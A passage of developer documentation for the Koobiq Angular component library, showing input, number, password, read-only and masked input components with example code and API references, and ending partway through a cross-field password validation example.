import { KbqFormField, KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqInlineEdit, KbqInlineEditMode, KbqInlineEditPlaceholder } from '@koobiq/components/inline-edit';
import { KbqTimepicker } from '@koobiq/components/timepicker';
import { DateTime } from 'luxon';

@Component({
    selector: 'inline-edit-date-time-example',
    imports: [
        ReactiveFormsModule,
        LuxonDateModule,
        KbqInlineEdit,
        KbqInlineEditPlaceholder,
        KbqIcon,
        KbqDatepickerModule,
        KbqFormFieldModule,
        KbqTimepicker
    ],
    template: `
        <kbq-inline-edit showActions (saved)="update()" (modeChange)="onModeChange($event)">
            <kbq-label>Label</kbq-label>

            <div class="layout-row layout-gap-xxs" style="flex-wrap: wrap;" kbqInlineEditViewMode>
                @if (displayValue()) {
                    {{ displayValue() }}
                } @else {
                    <span kbqInlineEditPlaceholder>{{ placeholder }}</span>
                }
            </div>
            <form kbqInlineEditEditMode [formGroup]="form">
                <kbq-fieldset>
                    <kbq-form-field #datepickerFormField kbqFieldsetItem (click)="datepicker.toggle()">
                        <input formControlName="date" [kbqDatepicker]="datepicker" />
                        <kbq-datepicker-toggle-icon kbqSuffix [for]="datepicker" />
                        <kbq-datepicker #datepicker />
                    </kbq-form-field>

                    <kbq-form-field kbqFieldsetItem>
                        <i kbq-icon="kbq-clock_16" kbqPrefix></i>
                        <input kbqTimepicker formControlName="time" />
                    </kbq-form-field>
                </kbq-fieldset>
            </form>
        </kbq-inline-edit>
    `,
    styles: `
        :host {
            display: block;
            width: 284px;
        }

        :host ::ng-deep .kbq-inline-edit__panel .kbq-form-field-type-datepicker {
            width: 50%;
        }

        :host ::ng-deep .kbq-inline-edit__panel .kbq-form-field-type-timepicker {
            width: unset;
            flex-grow: 1;
        }
    `,
    providers: [
        { provide: DateFormatter, deps: [DateAdapter, KBQ_DATE_LOCALE] }
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InlineEditDateTimeExample {
    private readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);
    private readonly formatter = inject<DateFormatter<DateTime>>(DateFormatter);

    protected readonly placeholder = 'Placeholder';
    protected readonly displayValue: WritableSignal<string>;
    protected readonly datepickerFormField = viewChild<KbqFormField>('datepickerFormField');
    protected readonly datepicker = viewChild<KbqDatepicker<DateTime>>('datepicker');

    protected readonly form: FormGroup<{
        date: FormControl<DateTime | null>;
        time: FormControl<DateTime | null>;
    }>;

    constructor() {
        const today = this.adapter.today();

        this.form = new FormGroup({
            date: new FormControl(today, Validators.required),
            time: new FormControl(today, Validators.required)
        });

        this.displayValue = signal<string>(this.format(this.form.value.date));

        this.form.valueChanges.subscribe((value) => console.log(value));
    }

    protected update(): void {
        const { date, time } = this.form.value;

        if (date && time) {
            const createdTime = this.adapter.createDateTime(
                this.adapter.getYear(date),
                this.adapter.getMonth(date),
                this.adapter.getDate(date),

                this.adapter.getHours(time),
                this.adapter.getMinutes(time),
                this.adapter.getSeconds(time),
                this.adapter.getMilliseconds(time)
            );

            this.displayValue.set(this.format(createdTime));
        } else {
            this.displayValue.set('');
        }
    }

    protected onModeChange(currentMode: KbqInlineEditMode): void {
        setTimeout(() => {
            if (currentMode === 'edit' && this.datepickerFormField()?.focusOrigin !== 'keyboard') {
                this.datepicker()?.open();
            }
        });
    }

    private format(date?: DateTime | null) {
        return date ? this.formatter.absoluteLongDateTime(date) : '';
    }
}
```

## Input

- Entry point: `@koobiq/components/input`
- NgModule: `KbqInputModule`
- Page: https://koobiq.io/en/components/input/overview

### Overview

Input provides text, numeric, and password fields with formatting, validation, masking, and other data-entry behavior.

#### With default parameters

**Example: Input** (`input-overview`)

```ts input-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'input-overview-example',
    imports: [
        KbqInputModule,
        KbqIconModule,
        FormsModule
    ],
    template: `
        <kbq-form-field>
            <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix [autoColor]="true"></i>

            <input kbqInput placeholder="Placeholder" [(ngModel)]="value" />

            <kbq-cleaner />
        </kbq-form-field>

        <br />
        <br />
        <br />

        <kbq-form-field noBorders>
            <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix [autoColor]="true"></i>

            <input kbqInput placeholder="Placeholder" [(ngModel)]="value" />

            <kbq-cleaner />
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InputOverviewExample {
    value = '';
}
```

#### Numeric input field

This is a special field for entering numbers only. You can type digits here, and the system will automatically format them in a user-friendly way (for example, adding thousands separators).

In cases where the thousands separator is a thin space, the input field includes logic to replace them when pasting from the clipboard, using the `kbqNormalizeWhitespace` directive. This behavior is not enabled by default — it is expected to be turned on manually when needed.

Number formatting depends on your chosen locale. This means the same number may look different depending on your regional settings.

If the typed integer is greater than `Number.MAX_SAFE_INTEGER`, the field clamps the value to that limit when it loses focus: until then the text stays as typed and the form value does not change. For values around 10¹⁴ and above, the fraction may be rounded, because the value is stored as a `number`: the field shows the typed text, but after a step, a value write, or a locale change it rebuilds the text from the value. For exact large values, such as identifiers, use a text field.

**Example: Input number** (`input-number-overview`)

```ts input-number-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqFormsModule, KbqNormalizeWhitespace } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

@Component({
    selector: 'input-number-overview-example',
    imports: [
        KbqInputModule,
        FormsModule,
        KbqFormsModule,
        KbqNormalizeWhitespace
    ],
    template: `
        <div class="kbq-text-big">
            <div class="kbq-form-horizontal">
                <div class="kbq-form__row">
                    <label class="kbq-form__label flex-40" for="number-with-bounds">
                        С разделением групп разрядов, с мин. и макс. ограничением
                    </label>
                    <kbq-form-field class="kbq-form__control flex-60">
                        <input
                            id="number-with-bounds"
                            kbqNumberInput
                            kbqNormalizeWhitespace
                            [max]="12000"
                            [min]="-12000"
                            [(ngModel)]="value"
                        />
                        <kbq-stepper />

                        <kbq-hint>От −12 000 до 12 000</kbq-hint>
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <label class="kbq-form__label flex-40" for="number-with-separator">
                        С разделителем групп разрядов
                    </label>
                    <kbq-form-field class="kbq-form__control flex-60">
                        <input id="number-with-separator" kbqNumberInput kbqNormalizeWhitespace [(ngModel)]="value" />
                        <kbq-stepper />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <label class="kbq-form__label flex-40" for="number-without-separator">
                        Без разделителя групп разрядов
                    </label>
                    <kbq-form-field class="kbq-form__control flex-60">
                        <input
                            id="number-without-separator"
                            kbqNumberInput
                            kbqNormalizeWhitespace
                            [withThousandSeparator]="false"
                            [(ngModel)]="value"
                        />
                        <kbq-stepper />
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <label class="kbq-form__label flex-40" for="number-integer">Целочисленное значение</label>
                    <kbq-form-field class="kbq-form__control flex-60">
                        <input
                            id="number-integer"
                            kbqNumberInput
                            kbqNormalizeWhitespace
                            [integer]="true"
                            [(ngModel)]="integerValue"
                        />
                        <kbq-stepper />
                    </kbq-form-field>
                </div>
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InputNumberOverviewExample {
    value = '';
    integerValue = '';
}
```

##### Numeric input API

`kbqNumberInput` accepts the bounds and the step it applies, plus the formatting switches:

- `min` / `max` — the range the value is clamped to when stepping. Default `-Infinity` / `Infinity`. Both accept a static attribute (`min="3"`) and a binding (`[min]="3"`); the value is coerced to a number either way.
- `step` — the amount added by `ArrowUp`/`ArrowDown` and by `kbq-stepper`. Default `1`.
- `bigStep` — the amount added when `Shift` is held. Default `10`.
- `integer` — rejects the fraction separator on typing and truncates a pasted fraction. Default `false`.
- `withThousandSeparator` — groups the integer part with the locale's separator. Default `true`.
- `startFormattingFrom` — grouping only kicks in from this power of ten, so `3` groups `1234` and `4` does not. Defaults to the active locale's own value (`4` for `ru-RU`), which is why a four-digit number stays un-grouped there.

The directive renders into a `type="text"` field. Do not add `type="number"`: the browser's value sanitizer rejects the formatted value and blanks the field, so the type is reset to `text` with a console warning.

`min` and `max` also drive the `KbqMinValidator` / `KbqMaxValidator` directives shipped in `KbqInputModule`, which install `Validators.min` / `Validators.max` on any `formControl`, `formControlName` or `ngModel` control carrying the corresponding attribute, and mirror the bound value into the native `min` / `max` attribute.

`min`, `max`, `step` and `bigStep` are signals, so reading one programmatically is a call — `numberInput.max()`. They are read-only: an `input()` has no `.set()`, so a value that changes at runtime is bound rather than assigned. `valueChange` and `disabledChange` are RxJS `Subject`s; subscribing is unchanged, emitting is `.next()`.

##### Number formatting and locale

Separators come from the active locale, through the `input.number` section of its configuration. Override them for a subtree with `kbqInputLocaleConfigurationProvider({ number: { fractionSeparator: '.' } })`; only the keys you pass are replaced, the rest keep following the locale. `KBQ_INPUT_DEFAULT_LOCALE_CONFIGURATION` holds the `ru-RU` defaults.

#### Monospace input

`kbqInputMonospace` switches a `kbqInput` to the monospace type level — useful for identifiers, hashes and keys.

#### Password input

**Example: Input password** (`input-password-overview`)

```ts input-password-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { AbstractControl, FormControl, ReactiveFormsModule, ValidationErrors } from '@angular/forms';
import { PasswordValidators } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

/**
 * Allows printable ASCII only: latin letters, digits, spaces and special characters. An empty password fails too,
 * as it fails the other rules.
 */
const latinAndSpecialSymbols = ({ value }: AbstractControl): ValidationErrors | null =>
    typeof value === 'string' && !/^[\x20-\x7E]+$/.test(value) ? { latinAndSpecialSymbols: true } : null;

@Component({
    selector: 'input-password-overview-example',
    imports: [
        KbqInputModule,
        ReactiveFormsModule
    ],
    template: `
        <kbq-form-field style="width: 250px">
            <input kbqInputPassword [formControl]="control" />

            <kbq-password-toggle [kbqTooltipHidden]="'Показать пароль'" [kbqTooltipNotHidden]="'Скрыть пароль'" />

            <kbq-reactive-password-hint [hasError]="control.hasError('minLength') || control.hasError('maxLength')">
                От 8 до 15 символов
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="control.hasError('minUppercase')">
                Заглавная латинская буква
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="control.hasError('minLowercase')">
                Строчная латинская буква
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="control.hasError('minNumber')">Цифра</kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="control.hasError('latinAndSpecialSymbols')">
                Только латинские буквы, цифры, пробелы и спецсимволы
            </kbq-reactive-password-hint>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InputPasswordOverviewExample {
    readonly control = new FormControl('', [
        PasswordValidators.minLength(8),
        PasswordValidators.maxLength(15),
        PasswordValidators.minUppercase(1),
        PasswordValidators.minLowercase(1),
        PasswordValidators.minNumber(1),
        latinAndSpecialSymbols
    ]);
}
```

#### Read-only

In `readonly` mode, the value of the field cannot be changed, but the text can be selected and copied to the clipboard, and the field receives focus. Controls that change the value are switched off: the cleaner is hidden and the stepper of a number field is disabled. Icons and buttons that leave the value as it is, such as the icons in the prefix and suffix or the password toggle, stay as they are. The placeholder is hidden.

**Example: Input readonly** (`input-readonly`)

```ts input-readonly-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqFormFieldModule } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'input-readonly-example',
    imports: [
        KbqInputModule,
        KbqFormFieldModule,
        KbqIconModule,
        KbqToggleModule,
        FormsModule
    ],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="readonly">Readonly</kbq-toggle>

        <kbq-form-field class="layout-margin-bottom-m">
            <kbq-label>Text</kbq-label>
            <i kbqPrefix kbq-icon="kbq-magnifying-glass_16"></i>
            <input kbqInput placeholder="Placeholder" [readonly]="readonly()" [(ngModel)]="text" />
            <kbq-cleaner />
        </kbq-form-field>

        <kbq-form-field class="layout-margin-bottom-m">
            <kbq-label>Number</kbq-label>
            <input kbqNumberInput placeholder="Placeholder" [readonly]="readonly()" [(ngModel)]="number" />
            <kbq-stepper />
        </kbq-form-field>

        <kbq-form-field>
            <kbq-label>Password</kbq-label>
            <input kbqInputPassword [readonly]="readonly()" [(ngModel)]="password" />
            <kbq-password-toggle [kbqTooltipHidden]="'Show password'" [kbqTooltipNotHidden]="'Hide password'" />
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-xl layout-column'
    }
})
export class InputReadonlyExample {
    protected readonly readonly = model(true);
    protected readonly text = model('Text');
    protected readonly number = model<number | null>(42);
    protected readonly password = model('Pa$$w0rd');
}
```

#### Using input masks

Input masks control the format and validate data in real time.

The example uses the [Maskito](https://maskito.dev/) library:

```bash
npm install @maskito/core @maskito/angular @maskito/kit
```

**Example: Input with mask** (`input-with-mask`)

```ts input-with-mask-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    AbstractControl,
    FormControl,
    ReactiveFormsModule,
    ValidationErrors,
    ValidatorFn,
    Validators
} from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { MaskitoDirective } from '@maskito/angular';
import { MaskitoOptions, MaskitoPlugin, maskitoUpdateElement } from '@maskito/core';
import { maskitoNumberOptionsGenerator, maskitoWithPlaceholder } from '@maskito/kit';

@Component({
    selector: 'input-with-mask-example',
    imports: [
        ReactiveFormsModule,
        MaskitoDirective,
        KbqInputModule,
        KbqIconModule
    ],
    template: `
        <kbq-form-field>
            <kbq-label>IP address</kbq-label>
            <input kbqInput placeholder="192.168.0.1" [maskito]="ipAddressMask" [formControl]="ipAddressControl" />
            <kbq-hint>Format: 192.168.0.1</kbq-hint>
            <kbq-error>Invalid IP address</kbq-error>
            <kbq-cleaner />
        </kbq-form-field>

        <kbq-form-field>
            <kbq-label>MAC address</kbq-label>
            <input
                kbqInput
                placeholder="AA:BB:CC:DD:EE:FF"
                [maskito]="macAddressMask"
                [formControl]="macAddressControl"
            />
            <kbq-hint>Format: AA:BB:CC:DD:EE:FF</kbq-hint>
            <kbq-error>Invalid MAC address</kbq-error>
            <kbq-cleaner />
        </kbq-form-field>

        <kbq-form-field>
            <kbq-label>IPv6 address</kbq-label>
            <input
                kbqInput
                placeholder="2001:0db8:85a3:0000:0000:8a2e:0370:7334"
                [maskito]="ipv6AddressMask"
                [formControl]="ipv6AddressControl"
            />
            <kbq-hint>Format: 2001:0db8:85a3:0000:0000:8a2e:0370:7334</kbq-hint>
            <kbq-error>Invalid IPv6 address</kbq-error>
            <kbq-cleaner />
        </kbq-form-field>

        <kbq-form-field>
            <kbq-label>Port</kbq-label>
            <input kbqInput placeholder="8080" [maskito]="portMask" [formControl]="portControl" />
            <kbq-hint>Range: 0-65535</kbq-hint>
            <kbq-hint>Use ↑/↓ to increase or decrease the value</kbq-hint>
            <kbq-cleaner />
        </kbq-form-field>

        <kbq-form-field>
            <kbq-label>License key</kbq-label>
            <input kbqInput placeholder="XXXX-XXXX-XXXX-XXXX" [maskito]="licenseMask" [formControl]="licenseControl" />
            <kbq-error>Invalid license key</kbq-error>
            <kbq-cleaner />
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
            align-items: center;
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InputWithMaskExample {
    readonly ipAddressControl = new FormControl('192.168.0.1', [this.ipAddressValidator()]);
    readonly macAddressControl = new FormControl('AA:BB:CC:DD:EE:FF', [
        Validators.pattern(/^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$/)
    ]);
    readonly ipv6AddressControl = new FormControl('2001:0db8:85a3:0000:0000:8a2e:0370:7334', [
        Validators.pattern(/^([0-9A-Fa-f]{4}:){7}[0-9A-Fa-f]{4}$/)
    ]);
    readonly portControl = new FormControl('8080');
    readonly licenseControl = new FormControl('ABCD-1234-EFGH-5678', [
        Validators.pattern(/^[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}$/)
    ]);

    readonly ipAddressMask = this.makeIPAddressMaskOptions();
    readonly macAddressMask = this.makeMACAddressMaskOptions();
    readonly ipv6AddressMask = this.makeIPv6AddressMaskOptions();
    readonly portMask = this.makePortMaskOptions();
    readonly licenseMask = this.makeLicenseMaskOptions();

    private makeIPAddressMaskOptions(): MaskitoOptions {
        return {
            mask: ({ value }) => {
                const octets = value.split('.');

                return octets.flatMap((octet, index) => {
                    const digitCount = Math.max(1, Math.min(3, octet.length));
                    const digits = Array.from<RegExp>({ length: digitCount }).fill(/\d/);

                    return index < 3 ? [...digits, '.'] : digits;
                });
            }
        };
    }

    private makeMACAddressMaskOptions(): MaskitoOptions {
        const hexChar = /[0-9A-Fa-f]/;

        return {
            mask: [
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar
            ],
            postprocessors: [
                ({ value, selection }) => ({ value: value.toUpperCase(), selection })
            ]
        };
    }

    private makeIPv6AddressMaskOptions(): MaskitoOptions {
        const hexChar = /[0-9A-Fa-f]/;

        return {
            mask: [
                hexChar,
                hexChar,
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                hexChar,
                hexChar,
                ':',
                hexChar,
                hexChar,
                hexChar,
                hexChar
            ],
            postprocessors: [
                ({ value, selection }) => ({ value: value.toLowerCase(), selection })
            ]
        };
    }

    private ipAddressValidator(): ValidatorFn {
        return (control: AbstractControl): ValidationErrors | null => {
            const value = control.value;

            if (!value) return null;

            const octets = value.split('.');

            if (octets.length !== 4) return { invalidIp: true };

            const isValid = octets.every((octet: string) => {
                const num = parseInt(octet, 10);

                return !isNaN(num) && num >= 0 && num <= 255 && octet === String(num);
            });

            return isValid ? null : { invalidIp: true };
        };
    }

    private makePortMaskOptions(): MaskitoOptions {
        const min = 0;
        const max = 65535;
        const options = maskitoNumberOptionsGenerator({
            min,
            max,
            maximumFractionDigits: 0,
            thousandSeparator: ''
        });

        const stepPlugin: MaskitoPlugin = (element) => {
            const handler = (event: KeyboardEvent) => {
                if (event.key !== 'ArrowUp' && event.key !== 'ArrowDown') {
                    return;
                }

                event.preventDefault();

                const step = event.key === 'ArrowUp' ? 1 : -1;
                const currentValue = parseInt(element.value, 10) || 0;
                const newValue = Math.min(max, Math.max(min, currentValue + step));

                maskitoUpdateElement(element, String(newValue));
            };

            element.addEventListener('keydown', handler);

            return () => element.removeEventListener('keydown', handler);
        };

        return {
            ...options,
            plugins: [...options.plugins, stepPlugin]
        };
    }

    private makeLicenseMaskOptions(): MaskitoOptions {
        const alphanumeric = /[A-Za-z0-9]/;

        return {
            ...maskitoWithPlaceholder('____-____-____-____', true),
            mask: [
                alphanumeric,
                alphanumeric,
                alphanumeric,
                alphanumeric,
                '-',
                alphanumeric,
                alphanumeric,
                alphanumeric,
                alphanumeric,
                '-',
                alphanumeric,
                alphanumeric,
                alphanumeric,
                alphanumeric,
                '-',
                alphanumeric,
                alphanumeric,
                alphanumeric,
                alphanumeric
            ]
        };
    }
}
```

### API

#### Directives

##### KbqInput (directive)

```ts
@Directive({
    selector: 'input[kbqInput],input[kbqNumberInput]',
    exportAs: 'kbqInput'
})
class KbqInput implements KbqFormFieldControl<any>, CanUpdateErrorState {
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly readonly = input<boolean>(false);
    type = input<string | undefined>();
    ngControl: NgControl | null;
    numberInput: KbqNumberInput | null;
    parentForm: NgForm | null;
    parentFormGroup: FormGroupDirective | null;
    defaultErrorStateMatcher: ErrorStateMatcher;
    readonly errorState: Signal<boolean>;
    updateErrorState(): void;
    focus(): void;
    onBlur(): void;
    focusChanged(isFocused: boolean): void;
}
```

- `[errorStateMatcher]`: `ErrorStateMatcher` — An object used to control when error messages are shown.
- `[readonly]`: `boolean` — Whether the input is read-only: its value can be selected and copied, but not changed. A read-only
  input shows no placeholder. Defaults to `false`.
- `[type]`: `string | undefined` — Input type of the element.
- `errorState`: `Signal<boolean>` — Whether the component is in an error state.
- `focus()`: `void` — Focuses the input.
- `focusChanged()`: `void` — Callback for the cases where the focused state of the input changes.

##### KbqInputMono (directive)

```ts
@Directive({
    selector: 'input[kbqInputMonospace]',
    exportAs: 'kbqInputMonospace, KbqInputMonospace'
})
class KbqInputMono {}
```

##### KbqInputPassword (directive)

```ts
@Directive({
    selector: 'input[kbqInputPassword]',
    exportAs: 'kbqInputPassword'
})
class KbqInputPassword implements KbqFormFieldControl<any>, CanUpdateErrorState {
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly readonly = input<boolean>(false);
    ngControl: NgControl | null;
    parentForm: NgForm | null;
    parentFormGroup: FormGroupDirective | null;
    defaultErrorStateMatcher: ErrorStateMatcher;
    readonly errorState: Signal<boolean>;
    readonly elementType: Signal<"text" | "password">;
    updateErrorState(): void;
    toggleType(): void;
    focus(): void;
    onBlur(): void;
    focusChanged(isFocused: boolean): void;
}
```

- `[errorStateMatcher]`: `ErrorStateMatcher` — An object used to control when error messages are shown.
- `[readonly]`: `boolean` — Whether the input is read-only: its value can be selected and copied, but not changed. A read-only
  input shows no placeholder. Defaults to `false`.
- `errorState`: `Signal<boolean>` — Whether the component is in an error state.
- `elementType`: `Signal<"text" | "password">` — Type of the native input: `password` while the password is hidden, `text` while it is shown.
- `toggleType()`: `void` — Toggles the native input type between password and text.
- `focus()`: `void` — Focuses the input.
- `focusChanged()`: `void` — Callback for the cases where the focused state of the input changes.

##### KbqMaxValidator (directive)

A directive which installs the `KbqMaxValidator` for any `formControlName`,
`formControl`, or control with `ngModel` that also has a `max` attribute.

```ts
@Directive({
    selector: '[max][formControlName],[max][formControl],[max][ngModel]'
})
class KbqMaxValidator implements Validator {
    readonly max = input<number>();
    validate(c: AbstractControl): ValidationErrors | null;
    registerOnValidatorChange(fn: () => void): void;
}
```

- `[max]`: `number` — Upper bound installed as `Validators.max`. A non-numeric bound reads back as `NaN`.

##### KbqMinValidator (directive)

A directive which installs the `KbqMinValidator` for any `formControlName`,
`formControl`, or control with `ngModel` that also has a `min` attribute.

```ts
@Directive({
    selector: '[min][formControlName],[min][formControl],[min][ngModel]'
})
class KbqMinValidator implements Validator {
    readonly min = input<number>();
    validate(c: AbstractControl): ValidationErrors | null;
    registerOnValidatorChange(fn: () => void): void;
}
```

- `[min]`: `number` — Lower bound installed as `Validators.min`. A non-numeric bound reads back as `NaN`.

##### KbqNumberInput (directive)

```ts
@Directive({
    selector: 'input[kbqNumberInput]',
    exportAs: 'kbqNumberInput, kbqNumericalInput'
})
class KbqNumberInput implements ControlValueAccessor {
    readonly integer = input<boolean>(false);
    readonly bigStep = input<number>(BIG_STEP);
    readonly step = input<number>(SMALL_STEP);
    readonly min = input<number>(-Infinity);
    readonly max = input<number>(Infinity);
    readonly withThousandSeparator = input<boolean>(true);
    readonly startFormattingFrom = input<number>();
    value = input<number | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly readonly = input<boolean>(false);
    readonly valueChange: Subject<number | null>;
    readonly disabledChange: Subject<boolean>;
    readonly stateChanges: Subject<void>;
    focused: boolean;
    get nativeElement(): HTMLInputElement;
    get viewValue(): string;
    get valueAsNumber(): number | null;
    onContainerClick(): void;
    focus(): void;
    focusChanged(isFocused: boolean): void;
    onKeyDown(event: KeyboardEvent): void;
    onInput(event: InputEvent): void;
    onPaste(event: ClipboardEvent): void;
    stepUp(step: number): void;
    stepDown(step: number): void;
}
```

- `[integer]`: `boolean` — Allows input and pasting of integers only.
- `[bigStep]`: `number` — Step applied when `Shift` is held.
- `[step]`: `number` — Step applied by the arrow keys and by `kbq-stepper`.
- `[min]`: `number` — Lower bound the value is clamped to when stepping.
- `[max]`: `number` — Upper bound the value is clamped to when stepping.
- `[startFormattingFrom]`: `number` — Adds the thousand separator only from this power of ten. For example, `4` keeps `1234`
  un-grouped and groups `12345`. Defaults to the active locale's own value.
- `[value]`: `number | null | undefined` — The numeric value of the field, bound with `[value]` or written by a form control.
- `[disabled]`: `boolean | undefined` — Whether the field is disabled, bound with `[disabled]` or set by a form control.
- `[readonly]`: `boolean` — Whether the field is read-only: the arrow keys, `kbq-stepper` and a paste leave the value as it is.
  `KbqInput` on the same element binds the native attribute. Defaults to `false`.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `valueChange`: `Subject<number | null>` — Emits when the value changes (either due to user input or programmatic change).
- `disabledChange`: `Subject<boolean>` — Emits when the disabled state has changed
- `stateChanges`: `Subject<void>` — Emits whenever the focused or disabled state of the directive changes.
- `valueAsNumber`: `number | null` — Locale-aware numeric read of the field: parsed straight from `nativeElement.value`, so `"1 234,5"`
  reads back as `1234.5` where the native `valueAsNumber` of a `type="text"` input reports `NaN`.
  Computed on every read rather than cached off the committed model, so it never lags behind a
  keystroke the way `value` can while `onInput`'s reformat is still pending in its `setTimeout(0)` —
  safe to read from a consumer's own `(input)` handler. An in-progress `"-"` reads as `null`, same as
  an empty field, rather than the last committed number.

#### Constants

##### KBQ_INPUT_DEFAULT_LOCALE_CONFIGURATION (const)

Default configuration of `KbqNumberInput`: the whole `input` locale section, of which the number input
reads `number`.

```ts
const KBQ_INPUT_DEFAULT_LOCALE_CONFIGURATION: KbqInputLocaleConfiguration;
```

##### KBQ_INPUT_LOCALE_CONFIGURATION (const)

Injection token for providing the default configuration of `KbqNumberInput`.

```ts
const KBQ_INPUT_LOCALE_CONFIGURATION: InjectionToken<KbqInputLocaleConfiguration>;
```

##### KBQ_INPUT_NUMBER_DEFAULT_CONFIGURATION (const)

Deprecated: Use `KBQ_INPUT_DEFAULT_LOCALE_CONFIGURATION`, which carries the whole `input`
locale section rather than just its `number` slice. Will be removed in 22.0.0.

```ts
const KBQ_INPUT_NUMBER_DEFAULT_CONFIGURATION: { groupSeparator: string[]; fractionSeparator: string; startFormattingFrom: number; viewGroupSeparator: string; };
```

##### KBQ_INPUT_VALUE_ACCESSOR (const)

```ts
const KBQ_INPUT_VALUE_ACCESSOR: InjectionToken<{ value: any }>;
```

##### KBQ_MAX_VALIDATOR (const)

```ts
const KBQ_MAX_VALIDATOR: Provider;
```

##### KBQ_MIN_VALIDATOR (const)

```ts
const KBQ_MIN_VALIDATOR: Provider;
```

##### KBQ_NUMBER_INPUT_VALUE_ACCESSOR (const)

```ts
const KBQ_NUMBER_INPUT_VALUE_ACCESSOR: any;
```

##### kbqInputLocaleConfigurationProvider (const)

Utility provider for `KBQ_INPUT_LOCALE_CONFIGURATION`. Only the values you pass are overridden; the rest
keep following the active locale.

```ts
const kbqInputLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqInputLocaleConfiguration>
) => Provider;
```

### Examples

#### Password change form

**Example: Validation: cross-field** (`validation-cross-field-password`)

```ts validation-cross-field-password-example.ts
import { ChangeDetectionStrategy, Component, viewChildren } from '@angular/core';
import {
    AbstractControl,
    FormControl,
    FormGroup,
    FormGroupDirective,
    ReactiveFormsModule,
    ValidationErrors,
    Validators,
    type ValidatorFn
} from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    kbqErrorStateMatcherProvider,
    KbqFormsModule,
    PasswordValidators,
    ShowOnCrossFieldErrorStateMatcher,
    ShowRequiredOnSubmitErrorStateMatcher
} from '@koobiq/components/core';
import { KbqFormField } from '@koobiq/components/form-field';
import { KbqInputModule } from '@koobiq/components/input';

/**
 * Payload every cross-field validator below publishes, so that a single `ErrorStateMatcher` can tell which
 * controls a group-level error belongs to. The names are relative to the group holding the error.
 */
type ExampleCrossFieldError = { controls: string[] };

const isExampleCrossFieldError = (value: unknown): value is ExampleCrossFieldError =>
    typeof value === 'object' && value !== null && 'controls' in value && Array.isArray(value.controls);

/**
 * Compares two control values for equality — both rules below only ever ask "same or not", never "which is
 * greater". The default (`===`) is enough for the strings here; an ordering comparator, needed for the date
 * pair in `validation-cross-field-dates-example.ts`, is a different job with a different default.
 */
type ExampleCompare = (a: unknown, b: unknown) => boolean;

const exampleValuesEqual: ExampleCompare = (a, b) => a === b;

// A control that is missing or still empty is not a cross-field problem: `Validators.required` owns that
// case, and reporting a mismatch against an empty field only gets in the user's way.
const isExampleValueEmpty = (value: unknown): boolean => value === null || value === undefined || value === '';

/** All the listed controls must hold the same value. */
const exampleMatchAll =
    (controls: string[], compare: ExampleCompare = exampleValuesEqual): ValidatorFn =>
    (group: AbstractControl): ValidationErrors | null => {
        const values = controls.map((name) => group.get(name)?.value);

        if (values.some(isExampleValueEmpty)) {
            return null;
        }

        const matches = values.every((value) => compare(value, values[0]));

        return matches ? null : { matchAll: { controls } satisfies ExampleCrossFieldError };
    };

/** All the listed controls must hold different values. */
const exampleDistinct =
